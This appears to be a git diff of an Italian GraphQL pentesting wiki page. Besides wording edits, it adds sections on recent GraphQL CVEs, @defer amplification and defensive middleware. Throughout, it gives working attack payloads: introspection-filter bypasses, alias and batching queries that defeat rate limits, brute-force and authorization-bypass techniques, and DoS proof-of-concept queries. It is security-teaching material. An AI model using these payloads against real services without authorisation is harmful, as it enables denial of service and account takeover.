diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md
index 01f072c6e..dc2565117 100644
--- a/src/network-services-pentesting/pentesting-web/graphql.md
+++ b/src/network-services-pentesting/pentesting-web/graphql.md
@@ -4,11 +4,11 @@
## Introduzione
-GraphQL è **evidenziato** come un **alternativa efficiente** alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia notevolmente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
+GraphQL è **evidenziato** come un **alternativa efficiente** all'API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia notevolmente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
## GraphQL e Sicurezza
-Con l'avvento di nuove tecnologie, inclusa GraphQL, emergono anche nuove vulnerabilità di sicurezza. Un punto chiave da notare è che **GraphQL non include meccanismi di autenticazione per impostazione predefinita**. È responsabilità degli sviluppatori implementare tali misure di sicurezza. Senza una corretta autenticazione, gli endpoint GraphQL possono esporre informazioni sensibili a utenti non autenticati, ponendo un rischio significativo per la sicurezza.
+Con l'avvento di nuove tecnologie, incluso GraphQL, emergono anche nuove vulnerabilità di sicurezza. Un punto chiave da notare è che **GraphQL non include meccanismi di autenticazione per impostazione predefinita**. È responsabilità degli sviluppatori implementare tali misure di sicurezza. Senza una corretta autenticazione, gli endpoint GraphQL possono esporre informazioni sensibili a utenti non autenticati, rappresentando un rischio significativo per la sicurezza.
### Attacchi di Brute Force alle Directory e GraphQL
@@ -31,7 +31,7 @@ Lo strumento [**graphw00f**](https://github.com/dolevf/graphw00f) è in grado di
#### Query universali
-Per controllare se un URL è un servizio GraphQL, può essere inviata una **query universale**, `query{__typename}`. Se la risposta include `{"data": {"__typename": "Query"}}`, conferma che l'URL ospita un endpoint GraphQL. Questo metodo si basa sul campo `__typename` di GraphQL, che rivela il tipo dell'oggetto interrogato.
+Per verificare se un URL è un servizio GraphQL, può essere inviata una **query universale**, `query{__typename}`. Se la risposta include `{"data": {"__typename": "Query"}}`, conferma che l'URL ospita un endpoint GraphQL. Questo metodo si basa sul campo `__typename` di GraphQL, che rivela il tipo dell'oggetto interrogato.
```javascript
query{__typename}
```
@@ -67,7 +67,7 @@ Con questa query puoi estrarre tutti i tipi, i loro campi e i loro argomenti (e
**Enumerare lo Schema del Database tramite Introspezione**
-> [!NOTE]
+> [!TIP]
> Se l'introspezione è abilitata ma la query sopra non viene eseguita, prova a rimuovere le direttive `onOperation`, `onFragment` e `onField` dalla struttura della query.
```bash
#Full introspection query
@@ -334,12 +334,12 @@ releaseYear
```
### Direttiva Overloading
-Come spiegato in [**una delle vulnerabilità descritte in questo rapporto**](https://www.landh.tech/blog/20240304-google-hack-50000/), un direttiva overloading implica la chiamata di una direttiva anche milioni di volte per far sprecare operazioni al server fino a quando non è possibile effettuare un DoS.
+Come spiegato in [**una delle vulnerabilità descritte in questo rapporto**](https://www.landh.tech/blog/20240304-google-hack-50000/), un overload di direttiva implica la chiamata di una direttiva anche milioni di volte per far sprecare operazioni al server fino a quando non è possibile effettuare un DoS.
### Batching brute-force in 1 richiesta API
Queste informazioni sono state tratte da [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
-Autenticazione tramite GraphQL API con **invio simultaneo di molte query con credenziali diverse** per verificarlo. È un attacco brute force classico, ma ora è possibile inviare più di una coppia login/password per richiesta HTTP grazie alla funzionalità di batching di GraphQL. Questo approccio ingannerebbe le applicazioni esterne di monitoraggio del tasso, facendole pensare che tutto va bene e che non ci sia un bot di brute-forcing che cerca di indovinare le password.
+Autenticazione tramite API GraphQL con **l'invio simultaneo di molte query con credenziali diverse** per verificarlo. È un attacco brute force classico, ma ora è possibile inviare più di una coppia login/password per richiesta HTTP grazie alla funzionalità di batching di GraphQL. Questo approccio ingannerebbe le applicazioni esterne di monitoraggio del tasso, facendole pensare che tutto va bene e che non ci sia un bot di brute-forcing che cerca di indovinare le password.
Di seguito puoi trovare la dimostrazione più semplice di una richiesta di autenticazione dell'applicazione, con **3 coppie di email/password diverse alla volta**. Ovviamente è possibile inviare migliaia in una singola richiesta nello stesso modo:
@@ -353,13 +353,13 @@ Come possiamo vedere dallo screenshot della risposta, la prima e la terza richie
Sempre più **endpoint graphql stanno disabilitando l'introspezione**. Tuttavia, gli errori che graphql genera quando viene ricevuta una richiesta inaspettata sono sufficienti per strumenti come [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) per ricreare la maggior parte dello schema.
-Inoltre, l'estensione di Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **osserva le richieste API GraphQL che passano attraverso Burp** e **costruisce** uno schema GraphQL **interno** con ogni nuova query che vede. Può anche esporre lo schema per GraphiQL e Voyager. L'estensione restituisce una risposta falsa quando riceve una query di introspezione. Di conseguenza, GraphQuail mostra tutte le query, gli argomenti e i campi disponibili per l'uso all'interno dell'API. Per ulteriori informazioni [**controlla questo**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
+Inoltre, l'estensione di Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **osserva le richieste API GraphQL che passano attraverso Burp** e **costruisce** uno **schema** GraphQL interno con ogni nuova query che vede. Può anche esporre lo schema per GraphiQL e Voyager. L'estensione restituisce una risposta falsa quando riceve una query di introspezione. Di conseguenza, GraphQuail mostra tutte le query, gli argomenti e i campi disponibili per l'uso all'interno dell'API. Per ulteriori informazioni [**controlla questo**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Una bella **wordlist** per scoprire [**entità GraphQL può essere trovata qui**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Bypassare le difese di introspezione GraphQL
-Per bypassare le restrizioni sulle query di introspezione nelle API, inserire un **carattere speciale dopo la parola chiave `__schema`** si è dimostrato efficace. Questo metodo sfrutta le comuni disattenzioni degli sviluppatori nei modelli regex che mirano a bloccare l'introspezione concentrandosi sulla parola chiave `__schema`. Aggiungendo caratteri come **spazi, nuove righe e virgole**, che GraphQL ignora ma che potrebbero non essere considerati nel regex, le restrizioni possono essere eluse. Ad esempio, una query di introspezione con una nuova riga dopo `__schema` può bypassare tali difese:
+Per bypassare le restrizioni sulle query di introspezione nelle API, l'inserimento di un **carattere speciale dopo la parola chiave `__schema`** si è dimostrato efficace. Questo metodo sfrutta le comuni distrazioni degli sviluppatori nei modelli regex che mirano a bloccare l'introspezione concentrandosi sulla parola chiave `__schema`. Aggiungendo caratteri come **spazi, nuove righe e virgole**, che GraphQL ignora ma che potrebbero non essere considerati nel regex, le restrizioni possono essere eluse. Ad esempio, una query di introspezione con una nuova riga dopo `__schema` potrebbe bypassare tali difese:
```bash
# Example with newline to bypass
{
@@ -417,15 +417,15 @@ Nota che le richieste GraphQL vengono solitamente inviate tramite richieste POST
```javascript
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
```
-Tuttavia, la maggior parte degli endpoint GraphQL supporta anche le richieste POST **`form-urlencoded`:**
+Tuttavia, la maggior parte degli endpoint GraphQL supporta anche **`form-urlencoded` POST requests:**
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
-Pertanto, poiché le richieste CSRF come quelle precedenti vengono inviate **senza richieste di preflight**, è possibile **eseguire** **modifiche** nel GraphQL abusando di un CSRF.
+Pertanto, poiché le richieste CSRF come quelle precedenti vengono inviate **senza richieste preflight**, è possibile **eseguire** **modifiche** nel GraphQL abusando di un CSRF.
Tuttavia, nota che il nuovo valore predefinito del cookie del flag `samesite` di Chrome è `Lax`. Ciò significa che il cookie verrà inviato solo da un sito web di terze parti in richieste GET.
-Nota che è solitamente possibile inviare la **richiesta** **query** anche come **richiesta** **GET** e il token CSRF potrebbe non essere convalidato in una richiesta GET.
+Nota che è solitamente possibile inviare la **richiesta** **query** anche come **richiesta GET e il token CSRF potrebbe non essere convalidato in una richiesta GET.**
Inoltre, abusando di un [**XS-Search**](../../pentesting-web/xs-search/index.html) **attacco** potrebbe essere possibile esfiltrare contenuti dall'endpoint GraphQL abusando delle credenziali dell'utente.
@@ -433,7 +433,7 @@ Per ulteriori informazioni **controlla il** [**post originale qui**](https://blo
## Hijacking WebSocket cross-site in GraphQL
-Simile alle vulnerabilità CRSF che abusano di GraphQL, è anche possibile eseguire un **Cross-site WebSocket hijacking per abusare di un'autenticazione con GraphQL con cookie non protetti** e far eseguire all'utente azioni inaspettate in GraphQL.
+Simile alle vulnerabilità CRSF che abusano di GraphQL, è anche possibile eseguire un **hijacking WebSocket cross-site per abusare di un'autenticazione con GraphQL con cookie non protetti** e far eseguire all'utente azioni inaspettate in GraphQL.
Per ulteriori informazioni controlla:
@@ -447,7 +447,7 @@ Molte funzioni GraphQL definite sull'endpoint potrebbero controllare solo l'aute
Modificare le variabili di input della query potrebbe portare a dettagli sensibili dell'account [leaked](https://hackerone.com/reports/792927).
-La mutazione potrebbe persino portare a un takeover dell'account tentando di modificare i dati di un altro account.
+Le mutazioni potrebbero persino portare a un takeover dell'account tentando di modificare i dati di un altro account.
```javascript
{
"operationName":"updateProfile",
@@ -455,23 +455,23 @@ La mutazione potrebbe persino portare a un takeover dell'account tentando di mod
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
-### Bypass authorization in GraphQL
+### Bypass autorizzazione in GraphQL
-[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) insieme può bypassare un sistema di autenticazione debole.
+[Collegare le query](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) insieme può bypassare un sistema di autenticazione debole.
Nell'esempio sottostante puoi vedere che l'operazione è "forgotPassword" e che dovrebbe eseguire solo la query forgotPassword associata. Questo può essere bypassato aggiungendo una query alla fine, in questo caso aggiungiamo "register" e una variabile utente affinché il sistema registri un nuovo utente.
-## Bypassing Rate Limits Using Aliases in GraphQL
+## Bypassare i limiti di velocità utilizzando alias in GraphQL
In GraphQL, gli alias sono una funzionalità potente che consente di **nominare esplicitamente le proprietà** quando si effettua una richiesta API. Questa capacità è particolarmente utile per recuperare **più istanze dello stesso tipo** di oggetto all'interno di una singola richiesta. Gli alias possono essere utilizzati per superare la limitazione che impedisce agli oggetti GraphQL di avere più proprietà con lo stesso nome.
-Per una comprensione dettagliata degli alias in GraphQL, si consiglia la seguente risorsa: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
+Per una comprensione dettagliata degli alias di GraphQL, si consiglia la seguente risorsa: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
-Sebbene lo scopo principale degli alias sia ridurre la necessità di numerose chiamate API, è stato identificato un caso d'uso non intenzionale in cui gli alias possono essere sfruttati per eseguire attacchi di forza bruta su un endpoint GraphQL. Questo è possibile perché alcuni endpoint sono protetti da limitatori di velocità progettati per ostacolare gli attacchi di forza bruta limitando il **numero di richieste HTTP**. Tuttavia, questi limitatori di velocità potrebbero non tenere conto del numero di operazioni all'interno di ogni richiesta. Dato che gli alias consentono l'inclusione di più query in una singola richiesta HTTP, possono eludere tali misure di limitazione della velocità.
+Sebbene lo scopo principale degli alias sia ridurre la necessità di numerose chiamate API, è stato identificato un caso d'uso non intenzionale in cui gli alias possono essere sfruttati per eseguire attacchi di forza bruta su un endpoint GraphQL. Questo è possibile perché alcuni endpoint sono protetti da limitatori di velocità progettati per ostacolare gli attacchi di forza bruta limitando il **numero di richieste HTTP**. Tuttavia, questi limitatori di velocità potrebbero non tenere conto del numero di operazioni all'interno di ciascuna richiesta. Dato che gli alias consentono l'inclusione di più query in una singola richiesta HTTP, possono eludere tali misure di limitazione della velocità.
-Considera l'esempio fornito di seguito, che illustra come le query con alias possono essere utilizzate per verificare la validità dei codici sconto del negozio. Questo metodo potrebbe aggirare la limitazione della velocità poiché compila diverse query in una singola richiesta HTTP, consentendo potenzialmente la verifica di numerosi codici sconto simultaneamente.
+Considera l'esempio fornito di seguito, che illustra come le query con alias possono essere utilizzate per verificare la validità dei codici sconto del negozio. Questo metodo potrebbe aggirare la limitazione della velocità poiché compila diverse query in una sola richiesta HTTP, consentendo potenzialmente la verifica di numerosi codici sconto simultaneamente.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@@ -497,7 +497,7 @@ curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
-Per mitigare questo, implementa limiti sul conteggio degli alias, analisi della complessità delle query o limitazione della frequenza per prevenire l'abuso delle risorse.
+Per mitigare questo, implementa limiti sul conteggio degli alias, analisi della complessità delle query o limitazione della velocità per prevenire l'abuso delle risorse.
### **Batching delle Query Basato su Array**
@@ -546,19 +546,82 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
```
+## Recent Vulnerabilities (2023-2025)
+
+> L'ecosistema GraphQL evolve molto rapidamente; negli ultimi due anni sono stati divulgati diversi problemi critici nelle librerie server più utilizzate. Quando trovi un endpoint GraphQL, vale quindi la pena di identificare il motore (vedi **graphw00f**) e controllare la versione in esecuzione rispetto alle vulnerabilità di seguito.
+
+### CVE-2024-47614 – `async-graphql` directive-overload DoS (Rust)
+* Affected: async-graphql < **7.0.10** (Rust)
+* Root cause: nessun limite su **direttive duplicate** (ad es. migliaia di `@include`) che vengono espanse in un numero esponenziale di nodi di esecuzione.
+* Impact: una singola richiesta HTTP può esaurire CPU/RAM e far crashare il servizio.
+* Fix/mitigation: aggiorna ≥ 7.0.10 o chiama `SchemaBuilder.limit_directives()`; in alternativa filtra le richieste con una regola WAF come `"@include.*@include.*@include"`.
+```graphql
+# PoC – repeat @include X times
+query overload {
+__typename @include(if:true) @include(if:true) @include(if:true)
+}
+```
+### CVE-2024-40094 – `graphql-java` bypass della profondità/complessità ENF
+* Affected: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
+* Root cause: **ExecutableNormalizedFields** non erano considerati dall'istrumentazione `MaxQueryDepth` / `MaxQueryComplexity`. I frammenti ricorsivi quindi eludevano tutti i limiti.
+* Impact: DoS non autenticato contro stack Java che integrano graphql-java (Spring Boot, Netflix DGS, prodotti Atlassian…).
+```graphql
+fragment A on Query { ...B }
+fragment B on Query { ...A }
+query { ...A }
+```
+### CVE-2023-23684 – WPGraphQL SSRF to RCE chain
+* Affected: WPGraphQL ≤ 1.14.5 (plugin di WordPress).
+* Root cause: la mutazione `createMediaItem` accettava URL **`filePath`** controllati dall'attaccante, consentendo l'accesso alla rete interna e la scrittura di file.
+* Impact: Editor/Autori autenticati potevano raggiungere endpoint di metadati o scrivere file PHP per l'esecuzione di codice remoto.
+
+---
+
+## Abuso della consegna incrementale: `@defer` / `@stream`
+Dal 2023, la maggior parte dei server principali (Apollo 4, GraphQL-Java 20+, HotChocolate 13) ha implementato le direttive di **consegna incrementale** definite dal WG GraphQL-over-HTTP. Ogni patch differita viene inviata come un **chunk separato**, quindi la dimensione totale della risposta diventa *N + 1* (involucro + patch). Una query che contiene migliaia di piccoli campi differiti produce quindi una grande risposta, costando all'attaccante solo una richiesta – un classico **amplification DoS** e un modo per bypassare le regole WAF sulla dimensione del corpo che ispezionano solo il primo chunk. I membri del WG hanno segnalato il rischio.
+
+Esempio di payload che genera 2 000 patch:
+```graphql
+query abuse {
+% for i in range(0,2000):
+f{{i}}: __typename @defer
+% endfor
+}
+```
+Mitigazione: disabilitare `@defer/@stream` in produzione o imporre `max_patches`, `max_bytes` cumulativi e tempo di esecuzione. Librerie come **graphql-armor** (vedi sotto) già impongono impostazioni predefinite sensate.
+
+---
+
+## Middleware difensivo (2024+)
+
+| Progetto | Note |
+|---|---|
+| **graphql-armor** | Middleware di validazione Node/TypeScript pubblicato da Escape Tech. Implementa limiti plug-and-play per la profondità delle query, conteggi di alias/campi/direttive, token e costi; compatibile con Apollo Server, GraphQL Yoga/Envelop, Helix, ecc. |
+
+Avvio rapido:
+```ts
+import { protect } from '@escape.tech/graphql-armor';
+import { applyMiddleware } from 'graphql-middleware';
+
+const protectedSchema = applyMiddleware(schema, ...protect());
+```
+`graphql-armor` ora bloccherà query eccessivamente profonde, complesse o ricche di direttive, proteggendo contro le CVE sopra menzionate.
+
+---
+
## Strumenti
### Scanner di vulnerabilità
-- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa le configurazioni errate comuni degli endpoint graphql
-- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script di auditing della sicurezza GraphQL con un focus sull'esecuzione di query e mutazioni GraphQL in batch.
+- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa configurazioni errate comuni degli endpoint graphql
+- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script di auditing della sicurezza GraphQL con un focus sull'esecuzione di query e mutazioni batch GraphQL.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerprint del graphql in uso
-- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit che può essere utilizzato per raccogliere schemi e cercare dati sensibili, testare autorizzazioni, forzare schemi e trovare percorsi per un dato tipo.
+- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit che può essere utilizzato per acquisire schemi e cercare dati sensibili, testare autorizzazioni, forzare schemi e trovare percorsi per un dato tipo.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Può essere utilizzato come standalone o [estensione Burp](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Può essere utilizzato anche come client CLI per automatizzare attacchi: `python3 graphqlmap.py -u http://example.com/graphql --inject`
-- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Strumento che elenca i diversi modi di **raggiungere un dato tipo in uno schema GraphQL**.
+- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Strumento che elenca i diversi modi per **raggiungere un dato tipo in uno schema GraphQL**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Il successore delle modalità Standalone e CLI di InQL
-- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Estensione Burp o script python per test avanzati di GraphQL. Lo _**Scanner**_ è il nucleo di InQL v5.0, dove puoi analizzare un endpoint GraphQL o un file di schema di introspezione locale. Genera automaticamente tutte le possibili query e mutazioni, organizzandole in una vista strutturata per la tua analisi. Il componente _**Attacker**_ ti consente di eseguire attacchi GraphQL in batch, che possono essere utili per eludere limiti di velocità mal implementati: `python3 inql.py -t http://example.com/graphql -o output.json`
+- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Estensione Burp o script python per test avanzati di GraphQL. Lo _**Scanner**_ è il nucleo di InQL v5.0, dove puoi analizzare un endpoint GraphQL o un file di schema di introspezione locale. Genera automaticamente tutte le possibili query e mutazioni, organizzandole in una vista strutturata per la tua analisi. Il componente _**Attacker**_ ti consente di eseguire attacchi batch GraphQL, che possono essere utili per eludere limiti di velocità mal implementati: `python3 inql.py -t http://example.com/graphql -o output.json`
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Prova a ottenere lo schema anche con l'introspezione disabilitata utilizzando l'aiuto di alcuni database Graphql che suggeriranno i nomi delle mutazioni e dei parametri.
### Script per sfruttare vulnerabilità comuni
@@ -587,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
+- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
+- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
{{#include ../../banners/hacktricks-training.md}}